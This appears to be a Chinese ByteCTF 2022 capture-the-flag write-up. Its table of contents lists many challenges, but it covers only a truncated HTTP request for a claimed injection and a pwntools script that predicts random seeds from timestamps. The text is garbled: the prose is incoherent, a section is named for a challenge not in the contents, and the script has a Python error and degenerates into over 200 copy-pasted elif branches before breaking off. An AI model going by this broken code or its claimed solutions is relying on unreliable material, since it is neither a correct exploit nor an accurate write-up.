ByteCTF 2022 By W&M

- 排名
- WEB
  - datamanager
  - typing_game
  - easy_grafana
  - ctf_cloud
  - microservices
- Pwn
  - CrackMePlus
  - Sandbox
- REVERSE
  - Android NETM
  - Android Malware Storage
  - CrackMe2022
- CRYPTO
  - Cipher
  - Chinese_Lottery
  - CuriOfficer
- MISC
  - Bad_guess
  - mine_grafana
  - mare_game
  - rigid1
  - rigid2
  - survey
- MOBILE
  - Secure Driver
  - Rose Driver
  - 逆向分析
  - 逆向分析
  - 逆向分析
  - 逆向分析
  - 逆向分析
  - 逆向分析
  - Fake Office

排名

最后是排名：

WEB

datamanager

Hackthebox Writeup 一样

存在注入：

```
POST /api/v1/datasets/import HTTP/1.1
Host: 127.0.0.1:31090
Content-Length: 1
Accept: application/vnd.ms-excel
Accept-Encoding: gzip
Accept-Language: zh-CN,zh;q=0.9
Cookie: session=.eJwlzEsOwjAMRNsrYb2Ik8ZxcgmqZ8cfIUFVOzPuXfEOcAcAAA
```

随便小a就是一个二位数ov，那ov的最简单表示形式就是(version=2)，那可能是version的最正常。

PWN

ComeAndPlay

考虑点：无限Malloc()时，malloc()最终调用的时间戳决定随机数的种子，所以可以通过时间戳来预测随机数。

但是每次运行时时间戳不同，这意味着程序运行多少个时间，和ulp_Operation()，都会受到影响。所以要先在本地测试，再远程连接。

```
#!/usr/bin/python3 -u
from pwn import *
import sys
import os
import ctypes
import math
import time
import random
context.log_level = 'debug'

binary = 'a'
elf = ELF('./'+binary)
libc = ELF('./libc.so.6')

# context.timeout = 1

def get_rand(seed):
    global rand, rand_cnt
    rand = ctypes.CDLL('./libc.so.6')
    rand.srand(seed)
    rand_cnt = 0
    return True

def get_rand_cnt():
    global rand, rand_cnt
    rand_cnt = rand_cnt + 1
    return rand.rand()

def get_ulp_Operation(ulp_Operation):
    global ulp_Operation
    ulp = ulp_Operation
    if ulp == 0:
        return lambda x, y: (x.value + y.value) % 0x100000000
    elif ulp == 1:
        return lambda x, y: (x.value - y.value) % 0x100000000
    elif ulp == 2:
        return lambda x, y: (x.value * y.value) % 0x100000000
    elif ulp == 3:
        return lambda x, y: (x.value & y.value) % 0x100000000
    elif ulp == 4:
        return lambda x, y: (x.value | y.value) % 0x100000000
    elif ulp == 5:
        return lambda x, y: (x.value ^ y.value) % 0x100000000
    elif ulp == 6:
        return lambda x, y: (x.value << (y.value % 32)) % 0x100000000
    elif ulp == 7:
        return lambda x, y: (x.value >> (y.value % 32)) % 0x100000000
    elif ulp == 8:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value >> (y.value % 32))
    elif ulp == 9:
        return lambda x, y: (x.value >> (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 10:
        return lambda x, y: (~(x.value | y.value)) % 0x100000000
    elif ulp == 11:
        return lambda x, y: (~(x.value & y.value)) % 0x100000000
    elif ulp == 12:
        return lambda x, y: (~(x.value ^ y.value)) % 0x100000000
    elif ulp == 13:
        return lambda x, y: (x.value + (~y.value)) % 0x100000000
    elif ulp == 14:
        return lambda x, y: (x.value & (~y.value)) % 0x100000000
    elif ulp == 15:
        return lambda x, y: (x.value | (~y.value)) % 0x100000000
    elif ulp == 16:
        return lambda x, y: (x.value ^ (~y.value)) % 0x100000000
    elif ulp == 17:
        return lambda x, y: (~(x.value << (y.value % 32))) % 0x100000000
    elif ulp == 18:
        return lambda x, y: (~(x.value >> (y.value % 32))) % 0x100000000
    elif ulp == 19:
        return lambda x, y: (~(x.value << (32 - (y.value % 32)))) % 0x100000000 | (x.value >> (y.value % 32))
    elif ulp == 20:
        return lambda x, y: (~(x.value >> (32 - (y.value % 32)))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 21:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 22:
        return lambda x, y: (x.value >> (32 - (y.value % 32))) % 0x100000000 | (x.value >> (y.value % 32))
    elif ulp == 23:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 24:
        return lambda x, y: (x.value >> (32 - (y.value % 32))) % 0x100000000 | (x.value >> (y.value % 32))
    elif ulp == 25:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 26:
        return lambda x, y: (x.value >> (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 27:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 28:
        return lambda x, y: (x.value >> (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 29:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 30:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 31:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 32:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 33:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 34:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 35:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 36:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 37:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 38:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 39:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 40:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 41:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 42:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 43:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 44:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 45:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 46:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 47:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 48:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 49:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 50:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 51:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 52:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 53:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 54:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 55:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 56:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 57:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 58:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 59:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 60:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 61:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 62:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 63:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 64:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 65:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 66:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 67:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 68:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 69:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 70:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 71:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 72:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 73:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 74:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 75:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 76:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 77:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 78:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 79:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 80:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 81:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 82:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 83:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 84:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 85:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 86:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 87:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 88:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 89:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 90:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 91:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 92:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 93:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 94:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 95:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 96:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 97:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 98:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 99:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 100:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 101:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 102:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 103:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 104:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 105:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 106:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 107:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 108:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 109:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 110:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 111:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 112:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 113:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 114:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 115:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 116:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 117:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 118:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 119:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 120:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 121:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 122:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 123:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 124:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 125:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 126:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 127:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 128:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 129:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 130:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 131:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 132:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 133:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 134:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 135:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 136:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 137:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 138:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 139:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 140:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 141:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 142:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 143:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 144:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 145:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 146:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 147:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 148:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 149:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 150:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 151:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 152:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 153:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 154:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 155:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 156:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 157:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 158:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 159:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 160:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 161:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 162:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 163:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 164:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 165:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 166:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 167:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 168:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 169:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 170:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 171:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 172:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 173:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 174:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 175:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 176:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 177:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 178:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 179:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 180:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 181:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 182:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 183:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 184:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 185:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 186:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 187:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 188:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 189:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 190:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 191:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 192:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 193:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 194:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 195:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 196:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 197:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 198:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 199:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 200:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 201:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 202:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 203:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 204:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 205:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 206:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 207:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 208:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 209:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 210:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 211:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 212:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 213:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 214:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 215:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 216:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 217:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 218:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 219:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 220:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 221:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 222:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 223:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 224:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 225:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 226:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 227:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 228:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 229:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 230:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 231:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 232:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 233:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 234:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
    elif ulp == 235:
        return lambda x, y: (x.value << (32 - (y.value % 32))) % 0x100000000 | (x.value << (y.value % 32))
